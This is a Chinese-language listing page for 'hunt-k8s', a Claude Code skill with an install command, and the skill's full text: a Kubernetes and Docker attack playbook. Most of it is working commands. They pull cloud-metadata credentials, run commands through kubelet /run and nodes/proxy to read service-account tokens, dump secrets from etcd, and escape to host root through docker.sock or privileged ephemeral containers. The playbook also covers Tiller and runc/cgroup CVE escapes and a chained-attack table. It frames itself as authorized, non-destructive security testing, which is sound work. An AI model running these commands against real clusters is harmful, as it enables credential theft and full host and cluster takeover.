mcpField
H
hunt-k8s

hunt-k8s

github.com/elementalsouls安全5.3k250 次安装今天更新
代码仓库

关于 hunt-k8s

hunt-k8s 是面向安全测试人员的 Kubernetes 与 Docker 安全审计技能,覆盖从资产指纹识别到漏洞验证和影响确认。它强调以实际数据读取或状态变化证明问题,避免仅凭响应码判断风险。

主要功能

  1. 01Kubernetes API 与 RBAC 权限检查
  2. 02Kubelet、etcd 与 Docker socket 测试
  3. 03服务账户令牌权限与滥用分析
  4. 04容器逃逸及相关 CVE 检查
  5. 05Dashboard 与入口控制器风险排查
  6. 06强调非破坏性影响验证

适用场景

  1. 01检查匿名或低权限 Kubernetes API 访问
  2. 02验证 kubelet、etcd 或 Docker socket 暴露
  3. 03审计服务账户令牌及其实际权限
  4. 04排查集群组件与容器逃逸风险

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-k8s

安装后在 Claude Code 中输入/hunt-k8s确认已加载。

详细介绍

HUNT-K8S — Kubernetes 与 Docker 安全

皇冠级目标

K8s API 匿名集群管理员权限 = 完全控制集群。docker.sock + RCE = 主机 root 权限。一次创建特权 Pod,或通过 kubelet /run 执行 shell 命令,就能将单个发现升级为全面失陷。

最高价值的发现:

  • K8s API 匿名集群管理员权限 — system:anonymous/system:unauthenticated 被绑定到强大角色(经典错误配置:在 ClusterRoleBinding 中将 system:anonymous 绑定到 cluster-admin)→ 完全控制 kubectl。仅仅匿名请求返回 200 并不代表有此权限(参见误报部分)。
  • Kubelet 10250 exec/run — /run 会直接返回命令输出;/exec 使用 SPDY/WebSocket 流(参见阶段 3)。两者都能 → 在任意 Pod 中执行 RCE → 窃取该 Pod 的 SA 令牌。
  • 通过 API 服务器中介的 kubelet RCE — /api/v1/nodes/<node>/proxy/run/... 使用你的(低权限)令牌,经由 API 服务器访问 kubelet;如果 RBAC 授予了 nodes/proxy 权限,就能在 Pod 中执行 RCE,无需直接连接 10250。2024-2026 年的主要攻击向量。
  • etcd 2379 未认证访问 — 所有 Secret(SA 令牌、TLS 密钥、应用凭据)都存储于此,通常以明文保存(除非设置了 EncryptionConfiguration)→ 完整导出凭据。
  • docker.sock 暴露 — SSRF/LFI/RCE 可访问 /var/run/docker.sock → 创建 --privileged 容器,将主机 / 绑定挂载 → 获取主机 root 权限。
  • 通过 runc 逃逸容器 — Leaky Vessels(CVE-2024-21626):WORKDIR/process.cwd 指向泄露的 /proc/self/fd/<n> 主机 FD → 从攻击者控制的镜像或 exec 中逃逸到主机 root 权限。
  • 滥用 SA 令牌 — 自动挂载的令牌位于 /var/run/secrets/kubernetes.io/serviceaccount/token;在声称有影响之前,先通过 SelfSubjectRulesReview 检查其实际授权。
  • K8s Dashboard 跳过登录 / 无令牌 API — 无需认证即可访问完整的集群管理界面。

OOB / 确认门槛(请先阅读)

K8s 发现属于 RCE/凭据泄露类别。基本原则:证明状态发生了变化或数据被读取,绝不要仅凭状态码推断。

  • /api/v1/namespaces 返回 200 并不代表有集群管理员权限。API 服务器会向任何能够访问 list namespaces 的主体返回经过 RBAC 过滤的列表(通常是空的 items: []);匿名读取少量资源很常见,影响也较低。通过 SelfSubjectRulesReview / SelfSubjectAccessReview 确认实际权限,然后实际读取 Secret 值。
  • 10255(只读)与 10250(exec) 经常被混为一谈。10255(HTTP,无需认证)仅会泄露信息 — 它提供 /pods、/stats、/metrics,没有 exec/run。/run 和 /exec 位于 10250(HTTPS)。不要仅凭访问到 10255 就报告「kubelet RCE」。
  • 盲注/出站攻击向量需要 OOB 证明。 如果利用 SSRF→IMDS→K8s,或 Pod 的出站连接,请使用 Burp Collaborator / interactsh 子域名确认出站跳转(例如,通过 /run 在 Pod 内执行 curl http://<token>.<collab>)。延迟响应或回显的 URL 都不是证明。
  • 影响证明 = 实际产物。 对于 exec:提供 id/hostname 的原始输出。对于 etcd/Secret:提供解码后的令牌字节(在报告中脱敏)。对于 docker.sock 容器逃逸:提供主机文件内容(节点的 /etc/hostname,与容器自身的内容不同)。
  • 有创建权限时,请使用专用测试命名空间 / 测试 Pod;绝不要为了「证明」RCE 而在生产工作负载中执行命令 — 如果策略允许,请列出 Pod,并在你创建的 Pod 中执行只读的 id;否则,仅执行一次无破坏性的 id 并立即停止。

阶段 1 — 指纹识别与端口发现

# Common Kubernetes / container ports
PORTS="443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010"
nmap -sV -p $PORTS $TARGET 2>/dev/null | grep open

# API server fingerprint — the /version endpoint is anonymous on most clusters
curl -sk "https://$TARGET:6443/version"        # {"major":"1","minor":"29","gitVersion":"v1.29.x"...}
curl -sk "https://$TARGET:6443/api"             # APIVersions list, even pre-auth
curl -sk "https://$TARGET:6443/healthz"

# Cloud metadata pivot (reach K8s SA / node creds from an SSRF foothold)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # AWS EKS (IMDSv1)
TOK=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60") # IMDSv2
curl -s -H "X-aws-ec2-metadata-token: $TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
curl -s "http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata: true"      # Azure AKS
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" # GKE

记录 gitVersion — 它决定了以下每个 CVE 是否适用。


阶段 2 — Kubernetes API 匿名 / 低权限访问

SRV="https://$TARGET:6443"

# 1. What am I? (anonymous → "system:anonymous")
curl -sk "$SRV/apis/authentication.k8s.io/v1/selfsubjectreviews" -X POST \
  -H 'Content-Type: application/json' \
  -d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}'

# 2. What can I actually DO? (the only honest privilege check)
curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
  -H 'Content-Type: application/json' \
  -d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"default"}}'

# 3. Targeted access check for the crown-jewel verbs
for R in secrets pods nodes/proxy pods/exec; do
  curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" -X POST \
   -H 'Content-Type: application/json' \
   -d "{\"kind\":\"SelfSubjectAccessReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"resourceAttributes\":{\"verb\":\"create\",\"resource\":\"${R%%/*}\",\"subresource\":\"${R#*/}\"}}}" \
   | grep -o '"allowed":[a-z]*' | sed "s#^#$R #"
done

# 4. Only if access review says allowed — read a real Secret to prove impact
curl -sk "$SRV/api/v1/secrets" | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("items",[])),"secrets")'
# decode one value (redact before reporting):
# echo '<base64>' | base64 -d

CVE-2018-1002105(gitVersion < v1.10.11/1.11.5/1.12.3):API 服务器代理升级漏洞允许未认证/低权限用户升级为向后端(kubelet/聚合 API)发送请求时使用 API 服务器身份 → 获取集群管理员权限。在阶段 1 获取 gitVersion 指纹;如果存在漏洞,这是影响最大的一项发现。


阶段 3 — Kubelet(端口 10250)— 优先使用 /run,正确处理 /exec

此技能的早期版本将 /exec 作为普通的 POST 发送,并期望获得 id 输出。这是错误的。 /exec 是一个 SPDY/WebSocket 流式端点:普通 POST 会返回一个 302 重定向到流位置(例如 /cri/exec/<token>),然后你必须使用 SPDY/WebSocket 客户端读取该位置。运行旧版 curl 的操作者什么也看不到,便会错误地认为 kubelet 已修补。

SRV="https://$TARGET:10250"

# Enumerate pods (auth varies; many kubelets allow anonymous read here)
curl -sk "$SRV/pods" | python3 -m json.tool 2>/dev/null \
  | grep -E '"namespace"|"name"|"containerName"' | head -40

NS=default; POD=target-pod; CTR=app

# --- PRIMITIVE A: /run — returns command output DIRECTLY (no stream handling) ---
# This is the simple correct primitive. Use this first.
curl -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=id"
curl -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

# --- PRIMITIVE B: /exec — SPDY/WebSocket stream, NOT a plain POST ---
# Option 1: kubeletctl handles the stream transport for you (recommended)
#   kubeletctl --server $TARGET exec "id" -p $POD -c $CTR -n $NS
#   kubeletctl --server $TARGET scan rce         # finds every exec-able pod
# Option 2: raw — the POST returns a 302 to a stream path; -v to see Location, then
#   read it with a SPDY3.1/WebSocket client (wscat / websocat), e.g.:
#   curl -sk -i -X POST "$SRV/exec/$NS/$POD/$CTR?command=id&input=1&output=1&tty=0"   # shows 302 Location
#   websocat -k "wss://$TARGET:10250/cri/exec/<token-from-Location>"

# Container logs (read-only, no stream)
curl -sk "$SRV/containerLogs/$NS/$POD/$CTR"

# Read-only kubelet 10255 — INFO DISCLOSURE ONLY, no exec/run. Do not call this "RCE".
curl -s "http://$TARGET:10255/pods" | python3 -m json.tool 2>/dev/null | head
curl -s "http://$TARGET:10255/metrics" | head

CVE-2020-8558(主机网络信任):在受影响的 kube-proxy 上,绑定到节点 127.0.0.1 的服务(包括只读 kubelet 和其他仅限本地主机访问的服务)会通过节点 IP 从其他 Pod/相邻主机访问,从而破坏本地主机信任边界——这为原本被认为只能通过环回接口访问的 kubelet/etcd 提供了横向移动路径。


阶段 4 — 由 API Server 中介的 Kubelet RCE(nodes/proxy)

当 10250 被防火墙拦截,但你持有具有 nodes/proxy 权限的令牌(即使是低权限 Pod SA)时,可通过 API Server路由 exec:

SRV="https://$TARGET:6443"; H="-H \"Authorization: Bearer $TOKEN\""
NODE=$(curl -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes" | grep -o '"name":"[^"]*"' | head -1 | cut -d'"' -f4)

# /run via the node proxy → output comes straight back
curl -sk -X POST -H "Authorization: Bearer $TOKEN" \
  "$SRV/api/v1/nodes/$NODE/proxy/run/$NS/$POD/$CTR" -d "cmd=id"

# enumerate every pod on a node via the proxy
curl -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes/$NODE/proxy/pods"

任何已绑定角色中的 nodes/proxy 实际上都意味着节点范围的 RCE。CVE-2022-3294(kube-apiserver 节点地址验证):经过身份验证的用户可以将 API Server 的代理连接重定向到其可访问的任意主机/IP(代理到内部 SSRF/节点冒充)——当你可以影响节点地址或使用代理子资源时,此漏洞尤为相关。


阶段 4b — Ingress-NGINX“IngressNightmare”(CVE-2025-1974)

能够访问 ingress-nginx 准入控制器(:8443,通常仅限集群内部,但有时会暴露)的未认证攻击者,可通过为 Ingress 对象构造 AdmissionReview 注入任意 NGINX 配置 -> 在控制器 Pod 中实现 RCE;该 Pod 的服务账户权限很高 -> 完全攻陷集群。识别控制器版本(/healthz、Pod 镜像标签),并确认其是否低于 1.11.5/1.12.1。(CVE-2025-1974 以及 CVE-2025-1097/1098/24513/24514。)

阶段 5 — etcd 未授权访问(端口 2379)

# etcd holds ALL cluster state. Secrets are plaintext UNLESS EncryptionConfiguration is set.
ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 get / --prefix --keys-only 2>/dev/null | head -50
ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 \
  get /registry/secrets --prefix 2>/dev/null | strings | grep -Ei 'token|password|tls.key|dockerconfig' | head -40

# HTTP/JSON gateway (key/range are base64; "Lw==" == "/")
curl -s "http://$TARGET:2379/v3/kv/range" -H 'Content-Type: application/json' \
  -d '{"key":"L3JlZ2lzdHJ5L3NlY3JldHM=","range_end":"L3JlZ2lzdHJ5L3NlY3JldHQ=","limit":20}' | python3 -m json.tool

# v2 (older clusters)
curl -s "http://$TARGET:2379/v2/keys/?recursive=true" | python3 -m json.tool 2>/dev/null | head

从 etcd 恢复的 SA 令牌 → 对 API Server 重放(阶段 6)以确认授权。**误报:**从 etcd 对等端口 2380 收到 200,或 TLS 必需端口返回握手错误,并不代表客户端可未授权访问——只有成功执行 range/get 并获得密钥数据才算。


阶段 6 — 滥用服务账户令牌(绑定/投射令牌)

# From RCE/LFI inside a pod:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
API="https://kubernetes.default.svc"

# Modern tokens are BOUND (projected): they have an audience + short expiry. DECODE before claiming reuse.
echo "$TOKEN" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | python3 -m json.tool
# Look at: "aud" (must match the API server audience to be accepted),
#          "exp" (projected tokens rotate ~1h — a captured token may already be dead),
#          "kubernetes.io/serviceaccount" (pod/node binding — token dies with the pod).
# If aud is e.g. ["vault"] not the api-server audience, it will NOT authenticate to the API → not cluster impact.

# Honest privilege check, then prove with a real read
curl -sk "$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d "{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"namespace\":\"$NS\"}}"
curl -sk "$API/api/v1/namespaces/$NS/secrets" -H "Authorization: Bearer $TOKEN"

**EphemeralContainers 节点 Shell 权限提升:**拥有 pods/ephemeralcontainers(或 Pod create)权限时,可附加一个共享主机命名空间的调试容器,以逃逸 Pod:

kubectl debug node/$NODE -it --image=busybox      # mounts host root at /host → chroot /host
# or patch an ephemeral container with hostPID/privileged via the API:
curl -sk -X PATCH "$API/api/v1/namespaces/$NS/pods/$POD/ephemeralcontainers" \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/strategic-merge-patch+json' \
  -d '{"spec":{"ephemeralContainers":[{"name":"x","image":"busybox","command":["sleep","1d"],"securityContext":{"privileged":true}}]}}'

阶段 7 — Docker Socket 暴露与 runc 容器逃逸

# docker.sock reachable (SSRF unix://, LFI of socket, or RCE on host)
curl -s --unix-socket /var/run/docker.sock http://localhost/v1.41/info
curl -s --unix-socket /var/run/docker.sock http://localhost/v1.41/containers/json

# Privileged container bind-mounting host root → read/write host fs (host escape)
curl -s --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
  -X POST http://localhost/v1.41/containers/create?name=poc \
  -d '{"Image":"alpine","Cmd":["cat","/host/etc/hostname"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/v1.41/containers/poc/start
curl -s --unix-socket /var/run/docker.sock "http://localhost/v1.41/containers/poc/logs?stdout=1"
# Impact proof = the NODE's /etc/hostname (differs from the container's hostname).

容器逃逸 CVE(根据 runc/版本进行判断):

  • **CVE-2024-21626 — “Leaky Vessels”(runc ≤ 1.1.11):**通过 /proc/self/fd/<n> 泄漏的主机文件描述符,可使恶意镜像(WORKDIR /proc/self/fd/N)或 runc exec 工作目录逃逸到主机文件系统 → 主机 RCE。仅在你能控制镜像、且可影响 Dockerfile 的构建/注册表环境中进行测试。
  • **CVE-2019-5736(runc):**从你能够 exec 进入的容器内部覆盖主机的 /proc/self/exe(即 runc 二进制文件)→ 下次调用 runc 时获得主机 root 权限。适用于非常旧的 runc 版本。
  • **CVE-2022-0492(cgroups v1 release_agent):**具有 CAP_SYS_ADMIN 的容器(或能够挂载 cgroupfs 的容器)写入一个会在主机上执行的 release_agent → 逃逸。先检查容器能力。

阶段 8 — Dashboard、准入控制、Helm/Tiller 残留项

# Kubernetes Dashboard — correct API base is /api/v1/... UNDER the dashboard service.
curl -sk "https://$TARGET:8443/" | grep -i "kubernetes dashboard"
# token-less probe (skip-login or anonymous-bound dashboard SA):
curl -sk "https://$TARGET:8443/api/v1/secret/default"            # secrets list view
curl -sk "https://$TARGET:8443/api/v1/pod/default"               # pods list view
curl -sk "https://$TARGET:8443/api/v1/namespace"                 # namespaces
# (paths are <resource> not <resource>/<id>; a 200 with real items = unauth dashboard data access)

# Helm 2 / Tiller remnant — gRPC on 44134, historically NO auth → full cluster as Tiller's SA
nmap -p 44134 -sV $TARGET
# helm --host $TARGET:44134 ls   # if it answers, Tiller is exposed → install/delete any release

# Validating/Mutating admission webhooks — enumerate to find bypassable policy or SSRF-able webhook URLs
curl -sk "$SRV/apis/admissionregistration.k8s.io/v1/validatingwebhookconfigurations" -H "Authorization: Bearer $TOKEN"
# A webhook clientConfig.url pointing at an external/attacker-influenced host = SSRF/bypass surface.

链式攻击表

K8s 发现后续利用影响
API 匿名访问 且已确认可读取 Secret提取 SA/TLS/应用凭据完全控制集群
nodes/proxy 令牌通过 API server 执行 /run → Pod RCE → SA 令牌全节点 RCE → 权限提升
Kubelet 10250 /run在任意 Pod 中执行命令 → 窃取 SA 令牌 → 访问 API集群权限提升
etcd 2379 未认证导出所有 Secret(若未加密)→ 重放令牌完全导出凭据
docker.sock特权容器 + 主机绑定挂载主机 root 权限
CVE-2024-21626 (runc)恶意镜像/执行命令 → 主机 FD 逃逸从容器逃逸至主机 root 权限
EphemeralContainers / pods create特权/hostPID 调试容器从 Pod 逃逸至节点
Projected SA 令牌(aud 匹配)访问受其实际 RBAC 限制的 API取决于 RBAC — 请先验证
Tiller 44134 暴露以 Tiller SA 身份执行 helm install若 Tiller 具有特权,则可获得 cluster-admin 权限

排除误报

  • 匿名访问返回 200 ≠ cluster-admin。 受 RBAC 限制的列表请求会返回 200/空 items。必须通过 SelfSubjectRulesReview 确认相关动词,然后实际读取 Secret 值。
  • 10255 ≠ 10250。 只读 kubelet 不支持 exec/run。“Kubelet RCE”必须有 /run 输出,或 10250 上已完成的 /exec 流作为依据。
  • /exec 普通 POST 返回 302,而非输出。 看不到响应正文不代表“已修复”——下结论前请跟踪流(kubeletctl/websocat)。
  • Projected/bound SA 令牌可能已失效或受众错误。 解码 exp 和 aud;面向 Vault/OIDC 的令牌无法通过 API server 认证。
  • 不要假设 etcd 中的数据为明文。 如果启用了 EncryptionConfiguration,etcd 中的 Secret 值就是密文——没有展示解码后的字节前,不要声称存在“明文 Secret”。
  • CVE 受版本限制。 在断言存在 CVE-2018-1002105、-2024-21626、-2019-5736 等漏洞前,请确认 gitVersion(阶段 1)/runc 版本。版本匹配只是线索;PoC 输出才是证据。
  • Dashboard 的 HTML 框架页面返回 200 只是登录页;只有 /api/v1/<resource>/<ns> 下真实资源 JSON 返回 200,才能证明无需令牌即可访问数据。

验证清单

  • API 匿名访问: SelfSubjectRulesReview 显示具有特权的动词,且已实际读取 Secret 值(已脱敏)。
  • Kubelet: 从 10250 /run 返回了 id/hostname 的实际输出,或已完成 /exec 流——不能只是 302。
  • nodes/proxy RCE: 使用你的令牌,通过 /api/v1/nodes/<node>/proxy/run/... 返回了命令输出。
  • etcd: 展示了解码后的 Secret 字节(证明数据未加密且可读),而非仅列出键。
  • docker.sock / 逃逸: 已获取节点的主机文件内容(与容器内文件不同),或提供了 runc 逃逸 PoC 输出。
  • SA 令牌: 已解码并展示有效的 aud/exp;影响范围以其实际 RBAC 为限。
  • 带外(OOB): 已通过 Collaborator/interactsh 子域确认任意出站连接/SSRF 跳转。

严重性:

  • API 匿名访问读取 Secret、kubelet/nodes-proxy RCE、etcd 导出、docker.sock/runc 逃逸、CVE-2018-1002105:严重
  • Dashboard 无需令牌即可访问数据、Tiller 暴露:高
  • 只读 kubelet 10255、匿名访问 /version//pods 导致信息泄露:中

评论

支持 Markdown